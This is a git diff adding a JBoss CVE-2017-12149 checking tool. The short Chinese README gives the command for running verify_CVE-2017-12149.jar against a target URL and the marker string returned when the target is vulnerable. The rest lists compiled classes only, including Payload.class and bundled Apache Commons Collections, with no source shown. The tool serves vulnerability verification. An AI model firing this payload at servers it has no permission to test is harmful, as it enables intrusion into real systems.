diff --git a/jboss-_CVE-2017-12149/README.md b/jboss-_CVE-2017-12149/README.md new file mode 100644 index 0000000..63dc6c2 --- /dev/null +++ b/jboss-_CVE-2017-12149/README.md @@ -0,0 +1,16 @@ +# jboss-_CVE-2017-12149 + +![72DC2C8058A7B3711A5D0446692D4BDA](./截图.jpg) + + + +verify_CVE-2017-12149.jar提供命令行模式下验证漏洞,如果漏洞存在返回特征字符串,只需要执行命令: + +```shell +$ java -jar verify_CVE-2017-12149.jar http://xxx:8080 + +#成功返回: +vuln6581362514513155613jboss +``` + +![截图2](./截图2.png) \ No newline at end of file diff --git a/jboss-_CVE-2017-12149/bin/com/jboss/main/Payload.class b/jboss-_CVE-2017-12149/bin/com/jboss/main/Payload.class new file mode 100644 index 0000000..ea94f28 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/com/jboss/main/Payload.class differ diff --git a/jboss-_CVE-2017-12149/bin/com/jboss/main/doPost.class b/jboss-_CVE-2017-12149/bin/com/jboss/main/doPost.class new file mode 100644 index 0000000..f106105 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/com/jboss/main/doPost.class differ diff --git a/jboss-_CVE-2017-12149/bin/com/jboss/main/main$1.class b/jboss-_CVE-2017-12149/bin/com/jboss/main/main$1.class new file mode 100644 index 0000000..535fa4e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/com/jboss/main/main$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/com/jboss/main/main$2.class b/jboss-_CVE-2017-12149/bin/com/jboss/main/main$2.class new file mode 100644 index 0000000..91eb3b0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/com/jboss/main/main$2.class differ diff --git a/jboss-_CVE-2017-12149/bin/com/jboss/main/main$3.class b/jboss-_CVE-2017-12149/bin/com/jboss/main/main$3.class new file mode 100644 index 0000000..065c2bb Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/com/jboss/main/main$3.class differ diff --git a/jboss-_CVE-2017-12149/bin/com/jboss/main/main.class b/jboss-_CVE-2017-12149/bin/com/jboss/main/main.class new file mode 100644 index 0000000..f10190d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/com/jboss/main/main.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ArrayStack.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ArrayStack.class new file mode 100644 index 0000000..4c38a0c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ArrayStack.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Bag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Bag.class new file mode 100644 index 0000000..61ac6d7 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Bag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BagUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BagUtils.class new file mode 100644 index 0000000..86b5075 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BagUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$1.class new file mode 100644 index 0000000..f0a3172 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$10.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$10.class new file mode 100644 index 0000000..a2bc902 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$10.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$11.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$11.class new file mode 100644 index 0000000..5f76998 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$11.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$2.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$2.class new file mode 100644 index 0000000..02b9f32 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$2.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$3.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$3.class new file mode 100644 index 0000000..f6c5dc1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$3.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$4.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$4.class new file mode 100644 index 0000000..f72d301 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$4.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$5.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$5.class new file mode 100644 index 0000000..b6c1ee1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$5.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$6.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$6.class new file mode 100644 index 0000000..4583723 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$6.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$7.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$7.class new file mode 100644 index 0000000..b4c5895 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$7.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$8.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$8.class new file mode 100644 index 0000000..6f78cfc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$8.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$9.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$9.class new file mode 100644 index 0000000..085beae Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$9.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$MyMapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$MyMapEntry.class new file mode 100644 index 0000000..0a06ab5 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap$MyMapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap.class new file mode 100644 index 0000000..32caaaa Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BeanMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BidiMap.class new file mode 100644 index 0000000..912b8cf Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BinaryHeap$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BinaryHeap$1.class new file mode 100644 index 0000000..1377688 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BinaryHeap$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BinaryHeap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BinaryHeap.class new file mode 100644 index 0000000..aca7e9d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BinaryHeap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedCollection.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedCollection.class new file mode 100644 index 0000000..e49561e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedCollection.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedFifoBuffer$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedFifoBuffer$1.class new file mode 100644 index 0000000..cfbf2e0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedFifoBuffer$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedFifoBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedFifoBuffer.class new file mode 100644 index 0000000..d5b77ed Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedFifoBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedMap.class new file mode 100644 index 0000000..ea0dc51 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BoundedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Buffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Buffer.class new file mode 100644 index 0000000..b07c77a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Buffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferOverflowException.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferOverflowException.class new file mode 100644 index 0000000..f9b0e6d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferOverflowException.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferUnderflowException.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferUnderflowException.class new file mode 100644 index 0000000..54fe35a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferUnderflowException.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferUtils.class new file mode 100644 index 0000000..df1d50f Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/BufferUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Closure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Closure.class new file mode 100644 index 0000000..2e4347f Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Closure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ClosureUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ClosureUtils.class new file mode 100644 index 0000000..08763af Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ClosureUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CollectionUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CollectionUtils.class new file mode 100644 index 0000000..482d26a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CollectionUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ComparatorUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ComparatorUtils.class new file mode 100644 index 0000000..0ee8bbc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ComparatorUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$Cursor.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$Cursor.class new file mode 100644 index 0000000..8bb276b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$Cursor.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$ListIter.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$ListIter.class new file mode 100644 index 0000000..2baf1b2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$ListIter.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$Listable.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$Listable.class new file mode 100644 index 0000000..6db6ca3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList$Listable.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList.class new file mode 100644 index 0000000..d263fbd Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableLinkedList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableSubList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableSubList.class new file mode 100644 index 0000000..b2224d0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/CursorableSubList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapBag$BagIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapBag$BagIterator.class new file mode 100644 index 0000000..86c6edb Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapBag$BagIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapBag.class new file mode 100644 index 0000000..26ac9bd Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapEntry.class new file mode 100644 index 0000000..be3bdcc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DefaultMapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$1$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$1$1.class new file mode 100644 index 0000000..b1a63ad Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$1$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$1.class new file mode 100644 index 0000000..f6d49b8 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$2$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$2$1.class new file mode 100644 index 0000000..f191e08 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$2$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$2.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$2.class new file mode 100644 index 0000000..ae32f19 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$2.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$3$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$3$1.class new file mode 100644 index 0000000..35f8299 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$3$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$3.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$3.class new file mode 100644 index 0000000..7d0612b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$3.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$4$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$4$1.class new file mode 100644 index 0000000..27a748a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$4$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$4.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$4.class new file mode 100644 index 0000000..587da13 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$4.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$5$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$5$1.class new file mode 100644 index 0000000..7a37626 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$5$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$5.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$5.class new file mode 100644 index 0000000..b98b4e0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$5.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$6$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$6$1.class new file mode 100644 index 0000000..6bfd25b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$6$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$6.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$6.class new file mode 100644 index 0000000..bf2fe63 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$6.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$DoubleOrderedMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$DoubleOrderedMapIterator.class new file mode 100644 index 0000000..788837c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$DoubleOrderedMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$Node.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$Node.class new file mode 100644 index 0000000..d578f6b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap$Node.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap.class new file mode 100644 index 0000000..b45caaa Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/DoubleOrderedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/EnumerationUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/EnumerationUtils.class new file mode 100644 index 0000000..32037e3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/EnumerationUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties$PropertiesReader.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties$PropertiesReader.class new file mode 100644 index 0000000..b8ec2c3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties$PropertiesReader.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties$PropertiesTokenizer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties$PropertiesTokenizer.class new file mode 100644 index 0000000..04f22a1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties$PropertiesTokenizer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties.class new file mode 100644 index 0000000..15c0930 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ExtendedProperties.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Factory.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Factory.class new file mode 100644 index 0000000..632145b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Factory.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FactoryUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FactoryUtils.class new file mode 100644 index 0000000..5deb4f1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FactoryUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$ListIter.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$ListIter.class new file mode 100644 index 0000000..63c1866 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$ListIter.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$SubList$SubListIter.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$SubList$SubListIter.class new file mode 100644 index 0000000..1481bae Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$SubList$SubListIter.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$SubList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$SubList.class new file mode 100644 index 0000000..fb172a1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList$SubList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList.class new file mode 100644 index 0000000..1d13ac2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastArrayList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$CollectionView$CollectionViewIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$CollectionView$CollectionViewIterator.class new file mode 100644 index 0000000..2093a99 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$CollectionView$CollectionViewIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$CollectionView.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$CollectionView.class new file mode 100644 index 0000000..ba3f03b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$CollectionView.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$EntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$EntrySet.class new file mode 100644 index 0000000..51adfd6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$EntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$KeySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$KeySet.class new file mode 100644 index 0000000..467255d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$KeySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$Values.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$Values.class new file mode 100644 index 0000000..2b069f1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap$Values.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap.class new file mode 100644 index 0000000..3e1f170 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastHashMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$CollectionView$CollectionViewIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$CollectionView$CollectionViewIterator.class new file mode 100644 index 0000000..ef460b9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$CollectionView$CollectionViewIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$CollectionView.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$CollectionView.class new file mode 100644 index 0000000..9b02832 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$CollectionView.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$EntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$EntrySet.class new file mode 100644 index 0000000..b68fbaa Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$EntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$KeySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$KeySet.class new file mode 100644 index 0000000..0dba24a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$KeySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$Values.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$Values.class new file mode 100644 index 0000000..408638d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$Values.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap.class new file mode 100644 index 0000000..aac98d3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FunctorException.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FunctorException.class new file mode 100644 index 0000000..03e4b94 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/FunctorException.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/HashBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/HashBag.class new file mode 100644 index 0000000..53d5d5a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/HashBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/IterableMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/IterableMap.class new file mode 100644 index 0000000..9fb79d3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/IterableMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/IteratorUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/IteratorUtils.class new file mode 100644 index 0000000..f406aa4 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/IteratorUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/KeyValue.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/KeyValue.class new file mode 100644 index 0000000..c9ff769 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/KeyValue.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/LRUMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/LRUMap.class new file mode 100644 index 0000000..75b0da5 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/LRUMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ListUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ListUtils.class new file mode 100644 index 0000000..ac1ec3a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ListUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MapIterator.class new file mode 100644 index 0000000..bcaafc2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MapUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MapUtils.class new file mode 100644 index 0000000..b8c5750 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MapUtils.class differ diff --git 